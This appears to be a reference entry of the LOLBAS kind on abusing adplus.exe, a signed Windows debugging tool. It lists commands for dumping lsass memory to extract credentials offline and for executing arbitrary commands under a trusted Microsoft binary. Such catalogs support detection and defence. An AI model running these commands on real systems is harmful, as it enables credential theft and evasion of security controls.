adplus.exe

Debugging tool included with Windows Debugging Tools

Paths

Creates a memory dump of the lsass process

Use case: Create memory dump and parse it offline

Privileges: SYSTEM

adplus.exe -hang -pn lsass.exe -o {PATH_ABSOLUTE:folder} -quiet

Execute arbitrary commands using adplus config file (see Resources section for a sample file).

Use case: Run commands under a trusted Microsoft signed binary

Privileges: User

adplus.exe -c {PATH:.xml}

Dump process memory using adplus config file (see Resources section for a sample file).

Use case: Run commands under a trusted Microsoft signed binary

Privileges: SYSTEM

adplus.exe -c {PATH:.xml}

Execute arbitrary commands and binaries from the context of adplus. Note that providing an output directory via '-o' is required.

Use case: Run commands under a trusted Microsoft signed binary

Privileges: User

adplus.exe -crash -o "{PATH_ABSOLUTE:folder}" -sc {PATH:.exe}